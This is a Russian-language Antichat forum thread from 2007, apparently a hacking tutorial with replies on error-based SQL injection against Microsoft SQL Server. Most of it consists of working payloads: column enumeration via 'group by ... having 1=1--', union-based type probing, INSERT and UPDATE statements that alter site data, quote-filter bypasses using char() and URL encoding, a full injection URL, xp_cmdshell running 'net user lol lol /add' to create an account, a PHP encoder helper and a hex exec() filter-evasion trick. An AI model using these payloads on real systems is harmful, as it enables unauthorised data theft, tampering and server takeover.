Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

25.08.2007, 13:07
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме: 3887520
Репутация:
2996
|
|
Альтернативы MSSQL иньекций.
Начнем опущу все начальные данные которые и так есть в прошлых статьях начнем с главного. Основной нашей целью будет изменить данные. Хачу обратить ваше внимание что в некоторых случаях когда мы не можем вывести данные, мы можем их удалить, проапдейтить или добавить(DELETE UPDATE INSERT), а так же выполнить различные команды, я хочу пояснить что данных не корректно обрабатываются только на выходе а не на входе это можно сравнить со слепыми иньекциями в mysql, раньше я писал что слепых иньекций не сушествует но это не так. В итоге мы можем исполнять произвольные команды в некоторых случаях, от чего это зависит я не разобрался, лишь пишу что это возможно. Теперь рассмотрим еще 1 альтернативыный способ рассмотрим код ошибоки 80040e14 по ANSI это
"The command text contained one or more errors"
ошибочка довольно забавная особденно кода идет еще с добавочным потерянным параметром (или без него) допуспим:
GET
?id=1'
и в ответ получаем
Syntax error in string in query expression 'addID = 1000''
Дальше будем что делать за прос что бы узнать table.feild, и будем использывать такую конструкцию для запроса having 1=1--
(для правильного запроса могут быть необходимы ' ` " ") ') `) и так далее это оригинальный запрос)
В ответ мы должны получить что то типо такого запроса.
Column ‘NEWS.TITLE’ is invalid in the select list because
it is not contained in an aggregate function and
there is no GROUP BY clause.
Будем смотреть структуру бд далее используя такой синтаксис.
‘ group by NEWS.TITLE having 1=1--
Во ответ получим что то типа
Column ‘NEWS.TEXT’ is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
В итоге мы нашли еще 1 поле NEWS.TEXT продолжим наш небольшой переборчик.
‘ group by NEWS.TITLE,NEWS.TEXT having 1=1--
Получим что то типо:
Column ‘NEWS.ID’ is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
Этот способ мы можем использывать для обхода кавычек и замены методу where not in('1','2').
‘ group by NEWS.TITLE,NEWS.1,NEWS.2,NEWS.3,NEWS.4 having 1=1--
Что ж мы узнали примерную структуру, теперь мы можеть узнать кодировку данных... Будем использывать функцию sum(), для этого нам придеться исползывать запрос вывода select мы можем сделать это 2 способами исползывать подзапрос или оператор uinon разницы в приныпе нету, в примере буду сползывать union с 1 колонкой.
` union select sum(ID) from NEWS--
` union select sum(TITLE) from NEWS--
` union select sum(TEXT) from NEWS--
Получим в ответ что типо:
The sum or average aggregate operation cannot take a
varchar data type as an argument.
Где varchar это тип кодировки. Зачем это есть кодировки кторые не выводяться в иньекции, сообсвенно в 99% случаев выводяться кадеровки varchar и int. Дальше можно сделать адейт таблицы
` ; insert into NEWS values( 1, 'hack', 'hack')--"
или
` ; update NEWS values( 1, 'hack', 'hack')--
В ответ мы не должны получить не 1 ошибки так как запрос правильный, и не содержит выходных данных.
Пока все продолжение следует.
[ cash ] Hack-Shop.Org.Ru (c)
|
|
|

01.09.2007, 13:32
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме: 3887520
Репутация:
2996
|
|
Смотря в каком месте используеться кавычка, как правило обойти можно %27 %2527. А некоторых местах ее можно использывать как 0x27 в некоторых char(), все зависит от конкретного запроса.
|
|
|

01.09.2007, 20:44
|
|
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме: 16641028
Репутация:
2371
|
|
Код:
' or 1=(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ("change_ssn_history"))--
Здесь ругается на вторую кавычку или на последнюю..
Не на первую т.к. простой запрос
работает....
Вообщем такую ошибку выводит после моего запроса:
Код:
Warning: mssql_query() [function.mssql-query]: message: Line 1: Incorrect syntax near '\'. (severity 15) in C:\AppServ2\www\index.php on line 17
Warning: mssql_query() [function.mssql-query]: Query failed in C:\AppServ2\www\index.php on line 17
Warning: mssql_num_rows(): supplied argument is not a valid MS SQL-result resource in C:\AppServ2\www\index.php on line 18
|
|
|

06.09.2007, 09:13
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме: 3887520
Репутация:
2996
|
|
Обход кавычек.
UPDATE! ВАЖНО!
Обход кавычек.
Итак очередной мини апдейт к статье. Итак обход кавычек покурив мануалов от мелкомгяких нашел интересную особенность по обходу кавычек в cmd и а так же xp..cmdshell. не пробывал тестить при фильтрации кавычек в др функциях, как select но все в ваших руках.
Если бы был открыт ремот декспот то можно бы было добавить юзера, благо обход кавычек нашел прикольный.
Цитата:
master..xp_cmdshell [net user lol lol /add]
тобишь меняем выражение в кавычках на [], все же полезно читать мануалы...
|
|
|

09.09.2007, 23:54
|
|
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
Провел на форуме: 3372120
Репутация:
2565
|
|
Сообщение от che_ha
А что делать если фильтрируюеться знак ( ' ) , а когда вожу запрос через char() выдает ошибку 'The char function requires 1 arguments' ??
Это происходит потому, что данная функция принимает только один параметр.
Для обхода фильтрации кавычек необходимо использовать функцию char(int ascii).
При этом необходимо учитывать, что функция принимает один параметр и конкатенация в MSSQL, происходит с помощью оператора "+".
Например если имя таблицы - USER, то соответственно при обходе надо использовать конструкцию char(117)+char(115)+char(101)+char(114), при этом кодировать сами кавычки уже не надо!!!
При проведении непосредственно инъекции необходимо так же помнить, что знак "+" интерпретируется в GET HTTP запросах как пробел, по-этому его необходимо заменять на его url encode %2B.
Для примера рассмотрим определение таблиц, если у нас при первом запросе к information_shema.tables вывалилось имя таблицы USER, то след запрос будет иметь вид:
Код:
http://www.site.com/news.asp?id=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+(char(117)%2Bchar(115)%2Bchar(101)%2Bchar(114)))--
в результате такого запроса получим имя второй таблицы и т.д.
Последний раз редактировалось [53x]Shadow; 11.09.2007 в 18:16..
Причина: Исправил неточность в примере...
|
|
|

11.09.2007, 18:12
|
|
Участник форума
Регистрация: 12.01.2007
Сообщений: 262
Провел на форуме: 4608122
Репутация:
874
|
|
Если гдето ошибаюсь не ругайтесь, но по моему тут небольшая неточность.
char(117)+char(115)+(101)+char(114)
Пропущен char рядом с (101). И USER с такими кодам нужно в нижнем регистре.
А сам вариант конечно же рабочий 
|
|
|

11.09.2007, 18:18
|
|
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
Провел на форуме: 3372120
Репутация:
2565
|
|
Сообщение от Red_Red1
Если гдето ошибаюсь не ругайтесь, но по моему тут небольшая неточность.
Пропущен char рядом с (101). И USER с такими кодам нужно в нижнем регистре.
А сам вариант конечно же рабочий 
Исправил, регистр не принципиален..
|
|
|

22.09.2007, 18:58
|
|
Гарант Форума
Регистрация: 22.01.2005
Сообщений: 267
Провел на форуме: 1982081
Репутация:
1067
|
|
мб пригодится кому для обхода кавычек
PHP код:
<?
$encode = "table_name";
$n = strlen($encode);
for ($i = 0; $i <= ($n-1); $i++)
{
if (($n-1) === $i) {echo "char(".ord($encode[$i]).")";}
else
{
echo "char(".ord($encode[$i]).")%2B";
}
}
?>
|
|
|

22.09.2007, 19:09
|
|
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
Провел на форуме: 3372120
Репутация:
2565
|
|
|
|
|

23.09.2007, 09:42
|
|
Новичок
Регистрация: 16.03.2006
Сообщений: 8
Провел на форуме: 21737
Репутация:
8
|
|
2cash и все-все-все... 
для обхода антимаджиков разных для хр_цмдшелл и прочих не требующих вывода проще юзать
declare @q varchar(8000) select @q=0x'.$query.' exec(@q)
Последний раз редактировалось ccrus; 23.09.2007 в 09:46..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|